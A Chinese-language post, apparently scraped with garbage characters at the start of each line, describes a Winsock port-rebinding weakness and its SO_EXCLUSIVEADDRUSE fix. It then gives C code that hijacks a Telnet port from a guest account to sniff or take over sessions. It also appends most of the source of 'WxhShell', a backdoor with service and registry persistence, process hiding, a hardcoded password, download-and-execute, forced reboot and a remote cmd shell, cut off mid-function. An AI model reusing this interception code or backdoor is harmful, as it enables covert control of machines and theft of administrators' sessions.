在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q.]
)yqX6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'OihA^e Z{CL! saddr.sin_family = AF_INET;
jI V? p /&|pXBY$; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Yptsq@s :cEe4a
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
SBoF(0< ?^!dLW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1!C,pXU#: Kk(ucO 这意味着什么?意味着可以进行如下的攻击:
cU6#^PFu E0hp%: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
s*X\%!l9 &B85; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ii2Z}qe $^XPk#$m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$P@cS1sB }2.}fHb2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,Df36-74v5 F@lpjW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
UKBMGzu2: 1G;Ns] u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
MGz>
,c^wW Jqj6L993e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&; skB. ^0
lPv!2 #include
4|L@oTzx #include
@~XlI1g$i #include
(KMobIP^ #include
I7_D $a= DWORD WINAPI ClientThread(LPVOID lpParam);
\xZBu" int main()
j)DZmGg&t {
wE \c?*k WORD wVersionRequested;
eC{Z DWORD ret;
JT9<kB/07 WSADATA wsaData;
*!/#39 BOOL val;
H7=z%Y9y SOCKADDR_IN saddr;
.%<&W1 SOCKADDR_IN scaddr;
4~Pto
f@ int err;
Ft rw3OxN SOCKET s;
C941@I SOCKET sc;
5gEfhZQ int caddsize;
pdHb HANDLE mt;
(R<4"QbE DWORD tid;
Rx"Qwi, \U wVersionRequested = MAKEWORD( 2, 2 );
)It4al^\ err = WSAStartup( wVersionRequested, &wsaData );
<^_?hN8. if ( err != 0 ) {
1Qu,]i` printf("error!WSAStartup failed!\n");
;wxt< return -1;
"6.p=te }
$I36> saddr.sin_family = AF_INET;
yy1r,dw <3x#(ms!! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Lx{N%;t*E z\Y^x9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F.5b|&@ saddr.sin_port = htons(23);
]r1{%:8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f4T0Y["QA {
5(7MQuRR printf("error!socket failed!\n");
BQ:Kx _
return -1;
L)'rM-nkFh }
PEt8,,x<" val = TRUE;
Q3q.*(# //SO_REUSEADDR选项就是可以实现端口重绑定的
faOWhIG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
AJd.K'=8 {
-*fYR#VQQB printf("error!setsockopt failed!\n");
l_-n&(N2<[ return -1;
N>Y50 }
Z;'.pU~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.l5 "X> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
PB67?d~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pNQkKDbL+ pQ:PwyU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,HkhK bQ {
z8 ;#H
tr ret=GetLastError();
-+>r4P printf("error!bind failed!\n");
/B\-DP3K return -1;
]U1,NhZu }
4`P2FnJ? listen(s,2);
O)JUY*&I5 while(1)
EJ ~kZ3 {
Q9xx/tUW caddsize = sizeof(scaddr);
)$h9Y //接受连接请求
XJ~l5}y ] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nSQ}yqM) if(sc!=INVALID_SOCKET)
sLi//P?:t {
O\Mq<;|7m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sVdK^|j if(mt==NULL)
('6g)@=\U {
&qP-x98E? printf("Thread Creat Failed!\n");
tZ
j,A%<
break;
9Y%?)t.2 }
*m&:
Yje }
Cm;qDvj+u CloseHandle(mt);
)USC }
]z=Vc#+! closesocket(s);
?g;ZbD WSACleanup();
3!9 yuf return 0;
Te@6N\g
}
SslY]d] DWORD WINAPI ClientThread(LPVOID lpParam)
5Vo}G %g {
;;'a--'" SOCKET ss = (SOCKET)lpParam;
Ji:iKkI SOCKET sc;
!HjNx%o5< unsigned char buf[4096];
k
gu[!hD1 SOCKADDR_IN saddr;
GP[r^Z long num;
,;iBeqr5 DWORD val;
@fH&(@ DWORD ret;
c\MsVH2| //如果是隐藏端口应用的话,可以在此处加一些判断
A$%!9Cma //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~d%;~_n saddr.sin_family = AF_INET;
7Fi2^DlgX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Pb8Z))9j saddr.sin_port = htons(23);
1!(%<R if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uo4$rf7 {
bLM"t0 printf("error!socket failed!\n");
n1>,#|# return -1;
v^c<`i; }
z34>,0 val = 100;
^~6] 0$yJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pP0Vg'V {
uB<F.!3 ret = GetLastError();
{y:#'n return -1;
p=~h|(M| }
k<Tez{< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3Q$'qZw p {
hygnC`| ret = GetLastError();
hiMyFvA4 return -1;
+|?|8"Qg }
{y^|ET7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)jk1S {
.FKJyzL printf("error!socket connect failed!\n");
xEiX<lguyN closesocket(sc);
Sc'c$/ closesocket(ss);
pH\^1xj
= return -1;
zd9]qo }
inB PT~y while(1)
0Ox|^V {
[t.%baF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
kWs+2j //如果是嗅探内容的话,可以再此处进行内容分析和记录
^V: "zzn& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^'7C0ps+A num = recv(ss,buf,4096,0);
\+{t4Im if(num>0)
r9]
rN send(sc,buf,num,0);
v:"m else if(num==0)
fi&uB9hc break;
c3V]'~ num = recv(sc,buf,4096,0);
2>$F0
M if(num>0)
]<q}WjXD' send(ss,buf,num,0);
_;e!ZZLG else if(num==0)
fQQsb 5=i break;
"X5_-l }
6)wy^a|pb closesocket(ss);
i-k >U}[% closesocket(sc);
t$K@%yU2 return 0 ;
SH
vaV[C }
;vJ\]T ml 2Io6s' v\%B ==========================================================
rv}mD 9k\)tWe 下边附上一个代码,,WXhSHELL
x7.QL?qR. Hwp{< ==========================================================
(LRM~5KVg Vd%v_Ek #include "stdafx.h"
_r\$NgJIM ;P;"F21^> #include <stdio.h>
P{S\pWZkk #include <string.h>
"!%wh6`>Md #include <windows.h>
[7gYd+s #include <winsock2.h>
?GO
SeV #include <winsvc.h>
j2} #include <urlmon.h>
c~^CKgr~R9 j0iAU1~_VX #pragma comment (lib, "Ws2_32.lib")
|DE%SVZB #pragma comment (lib, "urlmon.lib")
Zk=*7?!! dn ZzA #define MAX_USER 100 // 最大客户端连接数
J3e:Y! #define BUF_SOCK 200 // sock buffer
<vB<` #define KEY_BUFF 255 // 输入 buffer
]*N:;J OXHvT/L` #define REBOOT 0 // 重启
C$<"w, #define SHUTDOWN 1 // 关机
VEj$^bpp5s S]&8St #define DEF_PORT 5000 // 监听端口
#bT8QbJ( -AjH}A[! #define REG_LEN 16 // 注册表键长度
MA\m[h] #define SVC_LEN 80 // NT服务名长度
S&4+ e:K /!3ZW XY\ // 从dll定义API
D|d4:;7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
B< |VeU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mC i[Ps typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.u1X+P7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]~-*hOcQ4 x\hWyY6J[ // wxhshell配置信息
'>j<yaD' struct WSCFG {
v6s\Z\v)Q` int ws_port; // 监听端口
:qKF58W char ws_passstr[REG_LEN]; // 口令
}q% jO int ws_autoins; // 安装标记, 1=yes 0=no
2_;] char ws_regname[REG_LEN]; // 注册表键名
HH)"]E5 char ws_svcname[REG_LEN]; // 服务名
9W!8gCs char ws_svcdisp[SVC_LEN]; // 服务显示名
<B6[i*& char ws_svcdesc[SVC_LEN]; // 服务描述信息
yu)q4C7ek char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q>.BQ;q] int ws_downexe; // 下载执行标记, 1=yes 0=no
^0^(
u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,;_rIO" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t5.`!3EO XrF3kz!44 };
A1^Ga5 B> VFv9Q2/. // default Wxhshell configuration
M`GP^Ta struct WSCFG wscfg={DEF_PORT,
5Go0}'*% "xuhuanlingzhe",
Q48+O?&
1,
xS'zZ%? "Wxhshell",
s/
M7Zl "Wxhshell",
kG/X"6pZ "WxhShell Service",
c=6ahX}d "Wrsky Windows CmdShell Service",
GCT@o!
"Please Input Your Password: ",
aG%kmS&fv 1,
pb#mg^8 "
http://www.wrsky.com/wxhshell.exe",
KP3n^
$~ "Wxhshell.exe"
x97L6! };
Lf. 1>s JqEW=5 // 消息定义模块
u~W{RHClW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
OifvUTl9b char *msg_ws_prompt="\n\r? for help\n\r#>";
mN;+TN'?{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?Gd sOg^ char *msg_ws_ext="\n\rExit.";
_\.{6"" char *msg_ws_end="\n\rQuit.";
k#O,j pbB char *msg_ws_boot="\n\rReboot...";
$X*mdji char *msg_ws_poff="\n\rShutdown...";
#~^btL'dHF char *msg_ws_down="\n\rSave to ";
Ln.9|9 rK7W(D} char *msg_ws_err="\n\rErr!";
$I@GUtzjp char *msg_ws_ok="\n\rOK!";
,CciTXf J$F nm\ char ExeFile[MAX_PATH];
0DNU,u int nUser = 0;
#^6^ HANDLE handles[MAX_USER];
-Ep!- a int OsIsNt;
Z%}4bJ B0d%c&N${ SERVICE_STATUS serviceStatus;
G@gh#[b SERVICE_STATUS_HANDLE hServiceStatusHandle;
jd 1jG2=f x4m 5JDC // 函数声明
O:Va&Cyj* int Install(void);
I"@p aLZ int Uninstall(void);
q"akrI38 int DownloadFile(char *sURL, SOCKET wsh);
['cz;2{:W int Boot(int flag);
4KXc~eF[M" void HideProc(void);
XphE loL int GetOsVer(void);
GIT#<+" int Wxhshell(SOCKET wsl);
IG< H"tQ void TalkWithClient(void *cs);
J8?2R^;{ int CmdShell(SOCKET sock);
n9%]-s\Hn int StartFromService(void);
5t\HJ`C1Z int StartWxhshell(LPSTR lpCmdLine);
u%u&F^y _;hf<|c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
OfTfNhpK VOID WINAPI NTServiceHandler( DWORD fdwControl );
5RF4]$zT 0,_b) // 数据结构和表定义
ESTM$k}X
SERVICE_TABLE_ENTRY DispatchTable[] =
}7eh F6 {
zI^]esX!2_ {wscfg.ws_svcname, NTServiceMain},
kA4@`YCl {NULL, NULL}
,2L$G&? };
*6Q|}b[qcD +r]zs^' // 自我安装
{tw+#}T a int Install(void)
\'Ssn(s {
wN97_Y=`n char svExeFile[MAX_PATH];
%{!R
l@ HKEY key;
C&+6>L@ strcpy(svExeFile,ExeFile);
&]F3#^!^ @MiH(.Dq // 如果是win9x系统,修改注册表设为自启动
}4&/VvN if(!OsIsNt) {
P(,?#+]- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l30Y8t~d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Qd]we$G RegCloseKey(key);
A#rh@8h+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fE]XWA4U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zd!U')5/ RegCloseKey(key);
OcmRZ return 0;
*27*>W1 }
B(_WZa! }
k()$:-V }
0|c}p([~ else {
f>2MI4nMG wM~H(=s`D // 如果是NT以上系统,安装为系统服务
wi_'iv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SmhGZ if (schSCManager!=0)
I9?Ec6a_ {
aUc|V{Jp SC_HANDLE schService = CreateService
pTJX""C (
MHU74//fe schSCManager,
;"kaF! wscfg.ws_svcname,
<lE?, jl wscfg.ws_svcdisp,
XJ1=m SERVICE_ALL_ACCESS,
OhVs#^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Cr C=A=e SERVICE_AUTO_START,
dY(;]sxFr SERVICE_ERROR_NORMAL,
Qkcjr]#^$ svExeFile,
) ;FS7R
NULL,
"ZrOrdlg+A NULL,
r)^vO+3u NULL,
z//VlB NULL,
hI},~af NULL
Jrxz'9qRG );
Qm4o7x{q if (schService!=0)
$q$7^r@ {
x79Ha, CloseServiceHandle(schService);
CyDV r CloseServiceHandle(schSCManager);
<\ `$Jx# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GZip\S4Y strcat(svExeFile,wscfg.ws_svcname);
A\fb< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v{aq`uH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:Dt~e| RegCloseKey(key);
q%Yn;g|_ return 0;
up>c$jJ }
asHxL! }
:,B7-kBw CloseServiceHandle(schSCManager);
X]%itA }
*v
?m6R=)h }
n/~A`%E@ zCv"]% return 1;
#bH_Dg5I }
c(#;_Ve2P MUnEuhXTr // 自我卸载
4_A0rveP int Uninstall(void)
A@hppaP! {
U8.7>ENnP& HKEY key;
_>+8og/%@ R:X0'zeRr if(!OsIsNt) {
`h:34RC; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
":a\z(*t RegDeleteValue(key,wscfg.ws_regname);
U*3J+Y RegCloseKey(key);
i4JqT \q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fz#X=gmG RegDeleteValue(key,wscfg.ws_regname);
bKg8rK u RegCloseKey(key);
2i;7{7 return 0;
/!h;c$ }
VTy9_~q }
Xpe)PXb }
%D$]VSP; else {
0:w"M<80 eET&pP3Rp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vM:cWat if (schSCManager!=0)
a=cvCf {
Ar*^;/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|L2SFB?d= if (schService!=0)
?;[w" `" {
;OqB5qd if(DeleteService(schService)!=0) {
W-NDBP: CloseServiceHandle(schService);
Ym%xx!9 CloseServiceHandle(schSCManager);
wE+${B03 return 0;
h8Yx#4
}
7d LuX CloseServiceHandle(schService);
;AO#xv+# }
!?c|XdjZ CloseServiceHandle(schSCManager);
8Nu=^[qwQM }
/xtq_*I1S }
iQDx{m3] {|I;YDA return 1;
hGpv2>M }
]vwW]O7 Pj}66. // 从指定url下载文件
VD_$$Gn*q int DownloadFile(char *sURL, SOCKET wsh)
-py@DzK {
FEVEp HRESULT hr;
PDs@?nz, char seps[]= "/";
$Y69@s %f char *token;
;)N>t\v char *file;
wF(( char myURL[MAX_PATH];
jv&*uYm char myFILE[MAX_PATH];
lOtDqb& 0lhVqy}:}o strcpy(myURL,sURL);
R(q~ -3~ token=strtok(myURL,seps);
&=VDASEu while(token!=NULL)
^R:cd8+?% {
"[y-+)WTG file=token;
g+J-Zg6 token=strtok(NULL,seps);
0u\GO; }
y;s`P. ~\ J}Kqg GetCurrentDirectory(MAX_PATH,myFILE);
tH-C8Qxy strcat(myFILE, "\\");
1t)il^p4[; strcat(myFILE, file);
z^T`x_mF send(wsh,myFILE,strlen(myFILE),0);
Ii G6<|d8H send(wsh,"...",3,0);
oYukLr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^]TVo\,N if(hr==S_OK)
c%MW\qx return 0;
l1f\=G?tmU else
V4_=<W return 1;
P9T}S 17`1SGZ }
)jt #=9ZQ O#F4WWF // 系统电源模块
zAiXo__x int Boot(int flag)
rx] @A {
?#fu.YE\ HANDLE hToken;
E{|W(z,
TOKEN_PRIVILEGES tkp;
R6]Gk)5 6_FE 4RR[ if(OsIsNt) {
r,h%[JKM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>r !|sC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$m/)FnU/ tkp.PrivilegeCount = 1;
ZjF 4v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
oz,e/v8~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C#Na&m if(flag==REBOOT) {
NuQdSj_> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
zzX_q(:S return 0;
b45-:mi! }
~{jcH else {
U
H*r5o3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
d~i+
I5 return 0;
NfjE` }
K~R`%r_ }
z*a:L} $ else {
2+e}*&iQpp if(flag==REBOOT) {
nCdR EXw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
V=o
t-1,j7 return 0;
h-`}L= }
]?!mS[X else {
a ?)NC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
AJF#Aw `o return 0;
2Eu`u!jhx }
uC(V }
%-1O.Q|f G;l_|8<t#\ return 1;
gcl5jB5)> }
@X#F3; }f6HYU // win9x进程隐藏模块
oY H^_V void HideProc(void)
,Ge"anO {
z?R|Ok !WQ-=0cm HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-#N.X_F if ( hKernel != NULL )
VgZsB$Ori {
U_I5fK= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^f4s"T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
hYG6 pTCb FreeLibrary(hKernel);
kY-N>E: }
Z/Dx,zIR ;'#8tGv= return;
<^5Z:n!q }
0"28' 9
a!$z!. // 获取操作系统版本
x"~8*V'0 int GetOsVer(void)
.uMn0PE {
o <pf#tifv OSVERSIONINFO winfo;
+ |n*b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JR@`2YP- GetVersionEx(&winfo);
hG12ZZ D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
EVsC >rz return 1;
PgF*
1 else
Lh!J > return 0;
YUtC.TR1 }
RC7]'4o 4NheWM6 // 客户端句柄模块
UCB/=k^m int Wxhshell(SOCKET wsl)
Qp_isU {
Bg x'9p/ SOCKET wsh;
\Je0CD=e` struct sockaddr_in client;
3q\,$*D. DWORD myID;
KBx6NU?;PO .6+Z^,3 while(nUser<MAX_USER)
=5~jx {
FQ<Ju. int nSize=sizeof(client);
[+n*~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o ,AAC if(wsh==INVALID_SOCKET) return 1;
aBNc(?ri dx MOn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
jCOIuw if(handles[nUser]==0)
)rn*iJ.e8 closesocket(wsh);
OEA&~4&{7 else
'vbsv T nUser++;
}ppN k:B }
<Tzrj1"Q3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D9^h;
8 n|Q@UPb/= return 0;
cUKE }
Hq:X{)" qr"3y // 关闭 socket
g+vva" void CloseIt(SOCKET wsh)
gmw|H?] {
` Mjj@[ closesocket(wsh);
I_}SB| nUser--;
H<i]V9r ExitThread(0);
5F)C jQ }
jnO9j_CY 6F!+T= // 客户端请求句柄
xpV|\2C void TalkWithClient(void *cs)
4&<oFW\r {
i[7\[ `VA"vwz SOCKET wsh=(SOCKET)cs;
=Y{(%sn char pwd[SVC_LEN];
<\rT%f}3^ char cmd[KEY_BUFF];
UZ\u;/} char chr[1];
4":KoS`,j int i,j;
_|kxY'_[8 J=9FRC while (nUser < MAX_USER) {
P{kur} T /M1ob: m if(wscfg.ws_passstr) {
;DqWh0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!;q&NHco //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_{I3i:f9X8 //ZeroMemory(pwd,KEY_BUFF);
+"\sc;6m. i=0;
P+@/O while(i<SVC_LEN) {
t<.)Z-Ii n{n52][J] // 设置超时
dk[!V1x4\ fd_set FdRead;
yj 3cyLXw struct timeval TimeOut;
5d Eh7XL FD_ZERO(&FdRead);
SYAyk FD_SET(wsh,&FdRead);
Pr':51( TimeOut.tv_sec=8;
a!6{:8Zi0 TimeOut.tv_usec=0;
deBY5| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wN_Vfb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
MU@UfB|;u 44ek
IV+? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
W9 GxXPA pwd
=chr[0]; k9sh @ENy
if(chr[0]==0xd || chr[0]==0xa) { vYwYQG
pwd=0; %KCyb
break; F~R;n_IJ
} hgYZOwQ
i++; 0fb2;&pUa
} sEp"D+f
R1adWBD>
// 如果是非法用户,关闭 socket + [iQLM?zo
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 132{#tG]
} }|0^EWL
2J7:\pR^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d[@X%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {j.bC@hWw
Ec3}_`
while(1) { |7'df &CA
*v;2PP[^
ZeroMemory(cmd,KEY_BUFF); -u6bAQ
\:%(q/v"X
// 自动支持客户端 telnet标准 T,,WoPU8t
j=0; yr)G]K[/
while(j<KEY_BUFF) { "%`1]Fr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y`Wty@
cmd[j]=chr[0]; >:74%D0UF
if(chr[0]==0xa || chr[0]==0xd) { g!g#]9j
cmd[j]=0; jD$,.AVvz
break; "@e3EX7h
} =_.l8IYX$%
j++; dN$0OS`s[
} e>} s;H,
J{.{f
// 下载文件 0.`/X66;V
if(strstr(cmd,"http://")) { Z;ht
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q- cFtu-w
if(DownloadFile(cmd,wsh)) m|SUV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rvqq.I8aC
else RD!&LFz/}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &jS>UsGh
} z Xg3[orF
else { xT3BHnQ(
k :(SCHf
switch(cmd[0]) { @x*c1%wg
aB_F9;IR
// 帮助 F|'>NL-=
case '?': { }s7$7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u0JB\)(-/h
break; "M<8UE \n
} d`QN^)F0#
// 安装 iFd+2S%
case 'i': { TJ10s%,V
if(Install()) 8H%;WU9-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iN bIp"W
else }5ret
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tr_w]'
break; !{ y@od@T
} "IZa!eUW
// 卸载 0pZ4BZdT|
case 'r': { JB%',J
if(Uninstall()) NxkGOAOE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ..IfP@
else VpE*(i$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q1U\D
break; h=W:^@G
} %:M^4~dc
// 显示 wxhshell 所在路径 bZ dNibN
case 'p': { @3>u@
char svExeFile[MAX_PATH]; f/ U`
strcpy(svExeFile,"\n\r"); W\>fh&!)
strcat(svExeFile,ExeFile); P@,XEQRd`
send(wsh,svExeFile,strlen(svExeFile),0); 4-l8,@9
break; .N,bIQnj
} @KXV%a'
// 重启 :N:yLd} &
case 'b': { KN^=i5K+Y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qEyyT[:
if(Boot(REBOOT)) ST|x23|O]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~k"=4j9
else { piJu+tUy
closesocket(wsh); ~Q Oe##
ExitThread(0); Me r/G2#&
} $[Sc0dzJ
break; +cJL7=V&
} *l"T$H
// 关机 E@z<:pG{
case 'd': { &yct!YOB2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _?-E7:Sw
if(Boot(SHUTDOWN)) j@AIK+0Qc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?fQ'^agq
else { @bi}W`
closesocket(wsh); RF`.xQ26=
ExitThread(0); =-0/k;^
} )%`c_FL@N=
break; &DS/v)]
} 9"N~yKa`"K
// 获取shell B~'vCuE
case 's': { Q3XpHnufu+
CmdShell(wsh); 1rNzJ;'
closesocket(wsh); )\1@V+!E%
ExitThread(0); '50OgF'
break; K='z G*$l
} /74QMx?
// 退出 2Sle#nw3
case 'x': { sZ3KT&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hXcyoZ8
CloseIt(wsh); OyU5DoDz1
break; ]MqMQLG0t
} OsTc5K.U~
// 离开 (j%~u&+-
case 'q': { R6 y#S&]x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^+*N%yr
closesocket(wsh); 5 )A1\
WSACleanup(); X@ --m6-
exit(1); ^3G{|JB!+
break; kYM~d07 V
} |O{m2Fi
} \q>bs|2
} DRSr%d
R a O-H
// 提示信息 MOQ6:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,dv+p&Tz2
} -{KQr1{5UM
} CLxynZ\ ;
Bm:98? [
return; EZgq ?l~5O
} cF\;_0u
5u,{6
// shell模块句柄 1;JEc9#h
int CmdShell(SOCKET sock) Hf%@3X
{ k)i3
STARTUPINFO si; W6^5YH%
ZeroMemory(&si,sizeof(si)); loEPr5bL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5A,K6f@:g
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R]JT&p|w.1
PROCESS_INFORMATION ProcessInfo; ,A9]CQ
char cmdline[]="cmd"; hE &xE;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G?9"Y%
return 0; _Ym]Mj' ln
} zZ:>do\2
bpOYHc6,*`
// 自身启动模式 'g">LQ~a+
int StartFromService(void) ):P?
{ # ncRb
typedef struct l.(v^3:X
{ *o]L|Vu
DWORD ExitStatus; >;jZa
DWORD PebBaseAddress; 3(``#7
DWORD AffinityMask; `b?R#:G
DWORD BasePriority; Av$]|b
ULONG UniqueProcessId; Vk`h2BV
ULONG InheritedFromUniqueProcessId; mJ<=n?{Z
